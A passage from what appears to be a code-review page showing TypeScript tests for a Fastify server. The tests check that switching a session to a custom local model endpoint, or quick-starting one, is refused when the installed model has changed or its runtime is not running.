||||
session.mode = 'claude';
|
||||
return { ...harness, session };
|
||||
}
|
||||
|
||||
const apply = (app: FastifyInstance, payload: Record<string, unknown>) =>
|
||||
app.inject({ method: 'POST', url: '/api/sessions/test-session-1/custom-model', payload });
|
||||
|
||||
it('asks the install service with the endpoint and the model, before anything is applied', async () => {
|
||||
const { app, session } = await setup();
|
||||
const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(guard.launchRefusalMessage).toHaveBeenCalledTimes(1);
|
||||
expect(guard.launchRefusalMessage).toHaveBeenCalledWith('local-ollama', 'qwen3.6:35b-a3b');
|
||||
// No refusal: the model is applied and the CLI restarted, as for any endpoint.
|
||||
expect(session.setCustomModel).toHaveBeenCalledTimes(1);
|
||||
expect(session.restartCli).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it('a changed model refuses the switch in one plain sentence, and nothing is written or restarted', async () => {
|
||||
const { app, session } = await setup();
|
||||
guard.launchRefusalMessage.mockResolvedValue(CHANGED);
|
||||
const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
|
||||
expect(res.json()).toEqual({ success: false, error: CHANGED, errorCode: 'OPERATION_FAILED' });
|
||||
expect(session.setCustomModel).not.toHaveBeenCalled();
|
||||
expect(session.restartCli).not.toHaveBeenCalled();
|
||||
// The runtime was not even asked what it has loaded.
|
||||
expect(fetchMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('every other endpoint is asked about too, and the service lets it through', async () => {
|
||||
const { app, session } = await setup();
|
||||
const res = await apply(app, { endpointId: 'ep1', modelId: 'qwen3' });
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(guard.launchRefusalMessage).toHaveBeenCalledWith('ep1', 'qwen3');
|
||||
expect(session.setCustomModel).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it('clearing a selection is never refused: it is the way OFF the endpoint', async () => {
|
||||
const { app, session } = await setup();
|
||||
guard.launchRefusalMessage.mockResolvedValue(CHANGED);
|
||||
session.setCustomModel.mockReturnValue({ previousConfigDir: undefined });
|
||||
const res = await apply(app, { clear: true });
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(guard.launchRefusalMessage).not.toHaveBeenCalled();
|
||||
expect(session.setCustomModel).toHaveBeenCalledWith(undefined);
|
||||
});
|
||||
|
||||
it('an endpoint that does not exist is still a 404 of its own, asked about nothing', async () => {
|
||||
const { app } = await setup();
|
||||
const res = await apply(app, { endpointId: 'nope', modelId: 'x' });
|
||||
expect(res.json()).toMatchObject({ success: false, errorCode: 'NOT_FOUND' });
|
||||
expect(guard.launchRefusalMessage).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
describe('with the real install service', () => {
|
||||
it('an installed model whose runtime is not running is not switched to', async () => {
|
||||
writeInstalledState();
|
||||
guard.real = await realService();
|
||||
const { app, session } = await setup();
|
||||
const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
|
||||
expect(res.json()).toEqual({
|
||||
success: false,
|
||||
error: 'The model on this Mac is not running. Start it first.',
|
||||
errorCode: 'OPERATION_FAILED',
|
||||
});
|
||||
expect(session.setCustomModel).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('a record with the reserved id that nobody installed is an endpoint like any other', async () => {
|
||||
// No state file: this feature wrote nothing, so there is nothing of ours to guard.
|
||||
guard.real = await realService();
|
||||
const { app, session } = await setup();
|
||||
const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(session.setCustomModel).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it('any other endpoint is untouched by an installed model', async () => {
|
||||
writeInstalledState();
|
||||
guard.real = await realService();
|
||||
const { app, session } = await setup();
|
||||
const res = await apply(app, { endpointId: 'ep1', modelId: 'qwen3' });
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(session.setCustomModel).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/quick-start with customModel on the managed endpoint', () => {
|
||||
let app: FastifyInstance;
|
||||
let ctx: MockRouteContext;
|
||||
|
||||
const quickStart = (payload: Record<string, unknown>) =>
|
||||
app.inject({ method: 'POST', url: '/api/quick-start', payload });
|
||||
|
||||
beforeEach(async () => {
|
||||
vi.spyOn(Session.prototype, 'startInteractive').mockResolvedValue(undefined);
|
||||
vi.spyOn(Session.prototype, 'startShell').mockResolvedValue(undefined);
|
||||
vi.spyOn(Session.prototype, 'restartCli').mockResolvedValue(true);
|
||||
app = Fastify({ logger: false });
|
||||
await app.register(fastifyCookie);
|
||||
ctx = createMockRouteContext();
|
||||
registerSessionRoutes(app, ctx);
|
||||
installRouteErrorHandler(app);
|
||||
await app.ready();
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await app.close();
|
||||
vi.restoreAllMocks();
|
||||
safeRmHomeTree(CASES_DIR);
|
||||
});
|
||||
|
||||
it('asks the install service, and with no refusal the session starts on the local model', async () => {
|
||||
const before = ctx.sessions.size;
|
||||
const res = await quickStart({
|
||||
caseName: 'lm-ok',
|
||||
mode: 'claude',
|
||||
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(res.json().sessionId).toBeTruthy();
|
||||
expect(guard.launchRefusalMessage).toHaveBeenCalledWith('local-ollama', 'qwen3.6:35b-a3b');
|
||||
expect(ctx.sessions.size).toBe(before + 1);
|
||||
const session = ctx.sessions.get(res.json().sessionId) as unknown as Session;
|
||||
expect(session.customModel).toMatchObject({ endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
|
||||
});
|
||||
|
||||
it('a changed model refuses the launch in one plain sentence, and no session is created', async () => {
|
||||
guard.launchRefusalMessage.mockResolvedValue(CHANGED);
|
||||
const before = ctx.sessions.size;
|
||||
const res = await quickStart({
|
||||
caseName: 'lm-changed',
|
||||
mode: 'claude',
|
||||
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
|
||||
});
|
||||
expect(res.json()).toEqual({ success: false, error: CHANGED, errorCode: 'OPERATION_FAILED' });
|
||||
expect(ctx.sessions.size).toBe(before);
|
||||
expect(Session.prototype.startInteractive).not.toHaveBeenCalled();
|
||||
expect(fetchMock).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('a launch without a custom model never asks', async () => {
|
||||
const res = await quickStart({ caseName: 'lm-plain', mode: 'claude' });
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(guard.launchRefusalMessage).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
describe('with the real install service', () => {
|
||||
it('an installed model whose runtime is not running is not launched', async () => {
|
||||
writeInstalledState();
|
||||
guard.real = await realService();
|
||||
const before = ctx.sessions.size;
|
||||
const res = await quickStart({
|
||||
caseName: 'lm-stopped',
|
||||
mode: 'claude',
|
||||
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
|
||||
});
|
||||
expect(res.json()).toEqual({
|
||||
success: false,
|
||||
error: 'The model on this Mac is not running. Start it first.',
|
||||
errorCode: 'OPERATION_FAILED',
|
||||
});
|
||||
expect(ctx.sessions.size).toBe(before);
|
||||
});
|
||||
|
||||
it('a launch on any other endpoint goes on as before', async () => {
|
||||
writeInstalledState();
|
||||
guard.real = await realService();
|
||||
const res = await quickStart({
|
||||
caseName: 'lm-other',
|
||||
mode: 'claude',
|
||||
customModel: { endpointId: 'ep1', modelId: 'qwen3' },
|
||||
});
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(res.json().sessionId).toBeTruthy();
|
||||
expect(res.json().success).not.toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
File diff suppressed because it is too large.
Load diff
Reference in new issue
Block a user